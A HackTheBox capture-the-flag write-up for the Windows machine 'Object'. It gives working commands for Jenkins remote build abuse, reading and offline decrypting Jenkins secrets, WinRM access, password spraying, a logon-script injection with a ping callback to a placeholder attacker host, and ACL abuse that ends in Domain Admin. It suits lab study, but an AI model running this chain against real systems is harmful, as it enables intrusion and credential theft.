# Object Writeup - HackTheBox

> Exploit Jenkins via firewall bypass, extract credentials, abuse Active Directory delegation and ACL misconfigurations to escalate privileges on Windows.

- **URL:** https://hackindex.io/writeups/object
- **Platform:** HackTheBox
- **Difficulty:** Hard
- **Operating system:** Windows
- **Tags:** active-directory, kerberoasting, bloodhound, jenkins, privilege-escalation, information-disclosure, firewall-bypass
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-03
- **Updated:** 2026-08-11

Object is a Windows Domain Controller running Jenkins with open self-registration. The chain runs: Jenkins remote build trigger for arbitrary command execution, offline decryption of a Jenkins-stored credential to get a WinRM shell as oliver, then three consecutive ACL abuses discovered via BloodHound: ForceChangePassword onto smith, GenericWrite onto maria abused via logon script injection to exfiltrate a spreadsheet with credentials, and WriteOwner on Domain Admins to add maria directly.

## Reconnaissance

### Port scan

```bash
rustscan -a $TARGET_IP
nmap -A -p80,8080,5985 $TARGET_IP -oA nmap/nmap
# PORT     STATE SERVICE VERSION
# 80/tcp   open  http    Microsoft IIS httpd 10.0
# |_http-title: Mega Engines
# 5985/tcp open  http    Microsoft HTTPAPI httpd 2.0
# 8080/tcp open  http    Jetty 9.4.43.v20210629
# | http-robots.txt: 1 disallowed entry
# |_/
```

IIS on 80 served a static page with nothing useful. WinRM on 5985. Jetty on 8080 with a `robots.txt` disallowing everything strongly implies Jenkins. Directory brute force on 8080 confirms it:

```bash
ffuf -u http://$TARGET_IP:8080/FUZZ \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \
  -mc 200,301,302,303,403 -fw 306
# login    [Status: 200, Size: 2120]
# signup   [Status: 200, Size: 7937]
# git      [Status: 302, Size: 0]
# cli      [Status: 302, Size: 0]
```

Jenkins. Self-registration is enabled at `/signup`.

## Initial Access

### Jenkins remote build trigger to RCE

Register a throwaway account via `/signup`, then create a new job. Under Configure:

- Build Triggers: enable "Trigger builds remotely", set token `test`.
- Build: add "Execute Windows batch command", start with `whoami`.

Generate an API token under the account's user configuration. This token is the credential for triggering builds remotely.

Trigger the build:

```bash
curl http://test:$JENKINS_API_TOKEN@$TARGET_IP:8080/job/test/build?token=test
# Started by remote host $ATTACKER_IP
# Running as SYSTEM
# Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test
#
```

Read the console output at `/job/test/1/console`:

```bash
whoami
# object\oliver
# Finished: SUCCESS
```

The "Running as SYSTEM" line reflects the Jenkins master process identity. The actual OS execution context of the build step is `object\oliver`. Arbitrary Windows batch command execution is confirmed. Rather than immediately popping a reverse shell, the build step was used as an enumeration primitive by editing the command and re-triggering the job each time.

### Jenkins credential extraction

The Jenkins home directory layout exposes credential material. The admin user's `config.xml` held a stored credential:

```bash
type c:\Users\oliver\AppData\local\jenkins\.jenkins\users\admin_17207690984073220035\config.xml
# <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
#   <username>oliver</username>
#   <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
# </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
```

The encrypted blob needs `master.key` and `hudson.util.Secret` to decrypt. Dump `master.key` directly:

```bash
type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key
```

`hudson.util.Secret` is binary, so base64-encode it before reading:

```bash
powershell -command "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret'))"
```

Decode both locally and run offline decryption with `jenkins_offline_decrypt.py` from [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins):

```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret credentials.xml
# $OLIVER_PASSWORD
```

### WinRM as oliver

```bash
evil-winrm -i $TARGET_IP -u $USER -p '$OLIVER_PASSWORD'
```

Shell as `oliver`. Check what else is running internally before moving further:

```powershell
netstat -an | findstr LISTENING
# TCP  0.0.0.0:88    LISTENING
# TCP  0.0.0.0:389   LISTENING
# TCP  0.0.0.0:445   LISTENING
# TCP  0.0.0.0:636   LISTENING
# TCP  0.0.0.0:3268  LISTENING
# TCP  0.0.0.0:9389  LISTENING
# <snip - ephemeral RPC ports and IPv6/loopback DNS>
```

Kerberos, LDAP, Global Catalog, and AD Web Services are all listening locally but were not exposed in the external scan. This host is the domain controller for `object.local`. Other user profiles (`smith`, `maria`, `Administrator`) are visible under `C:\Users`. This is an AD enumeration job for BloodHound.

## BloodHound and ACL Abuse Chain

### Collect AD data

```powershell
upload SharpHound.exe
.\SharpHound.exe -c all
download 20260731090700_BloodHound.zip
# SharpHound Enumeration Completed at 9:07 AM on 7/31/2026! Happy Graphing!
```

### oliver to smith via ForceChangePassword

BloodHound shows oliver holds `ForceChangePassword` over smith. Reset smith's password with PowerView:

```powershell
upload powerview.ps1
Import-Module .\PowerView.ps1
$Cred = New-Object System.Management.Automation.PSCredential(
    'OBJECT\oliver', (ConvertTo-SecureString '$OLIVER_PASSWORD' -AsPlainText -Force))
    Set-DomainUserPassword -Identity smith \
    -AccountPassword (ConvertTo-SecureString '$SMITH_PASSWORD' -AsPlainText -Force) \
    -Credential $Cred
```

Smith is a member of Remote Management Users, so the reset immediately grants WinRM access. The next BloodHound analysis run as smith shows `GenericWrite` over maria.

### smith to maria via GenericWrite - logon script injection

`GenericWrite` allows writing arbitrary attributes to the target object including `servicePrincipalName` and `scriptPath`. A targeted Kerberoast was attempted first: a fake SPN was set on maria and a TGS was requested, but every ticket came back with `UNKNOWN` in the username field rather than `maria`, making the hash uncrackable. That path was dropped.

`scriptPath` sets the logon script executed when maria authenticates. Outbound connections beyond ICMP were firewalled, confirmed with a ping callback:

```powershell
echo "ping $ATTACKER_IP" > ping.ps1
Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\ping.ps1"}
```

```bash
sudo tcpdump -ni tun0 icmp
# IP $TARGET_IP > $ATTACKER_IP: ICMP echo request, id 1, seq 1104
```

Script execution on maria's logon cycle confirmed. Since a reverse shell was not viable, write command output to a file in `C:\programdata` and read it back through the existing WinRM session:

```powershell
echo "ls \users\maria\desktop\ > \programdata\out2" > cmd.ps1
 Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"}
 type out2
#
#     Directory: C:\users\maria\desktop
# Mode                LastWriteTime         Length Name
# ----                -------------         ------ ----
# -a----       10/26/2021   8:13 AM           6144 Engines.xls
```

`Engines.xls` on maria's desktop is worth pulling. Use the logon script to copy it to `C:\programdata`, then download it:

```powershell
echo "copy \users\maria\desktop\Engines.xls \programdata\" > cmd.ps1
Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"}
download C:\programdata\Engines.xls
```

### Engines.xls credential extraction

The spreadsheet holds engine inventory data with a "Chamber Username" and "Chamber Password" column. Three rows for maria with three different passwords. Save them to a file and spray WinRM:

```bash
nxc winrm $TARGET_IP -u maria -p passwords.txt
# WINRM  $TARGET_IP  [-] object.local\maria:$MARIA_PASSWORD_1
# WINRM  $TARGET_IP  [-] object.local\maria:$MARIA_PASSWORD_2
# WINRM  $TARGET_IP  [+] object.local\maria:$MARIA_PASSWORD (Pwn3d!)
```

`(Pwn3d!)` means maria also has local admin rights on the box.

## Privilege Escalation

### WriteOwner on Domain Admins

BloodHound shows maria holds `WriteOwner` over the `Domain Admins` group. The path to Domain Admin is three steps: take ownership of the group object, grant maria full control ACL over it, then add maria as a member.

```bash
evil-winrm -i $TARGET_IP -u maria -p '$MARIA_PASSWORD'
```

```powershell
upload powerview.ps1
Import-Module .\PowerView.ps1
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'
```

Confirm membership:

```powershell
net user maria
# Global Group memberships  *Domain Admins  *Domain Users
# The command completed successfully.
```

The existing WinRM session still holds the old Kerberos token. Open a fresh session to pick up the new group membership:

```bash
evil-winrm -i $TARGET_IP -u maria -p '$MARIA_PASSWORD'
```

```powershell
whoami /groups
#
# Group Name                                    SID
# ============================================= =============================================
# BUILTIN\Administrators                        S-1-5-32-544
# OBJECT\Domain Admins                          S-1-5-21-4088429403-1159899800-2753317549-512
# Mandatory Label\High Mandatory Level          S-1-16-12288
```

Domain Admin with a High Mandatory Level token. Root reached.

Related
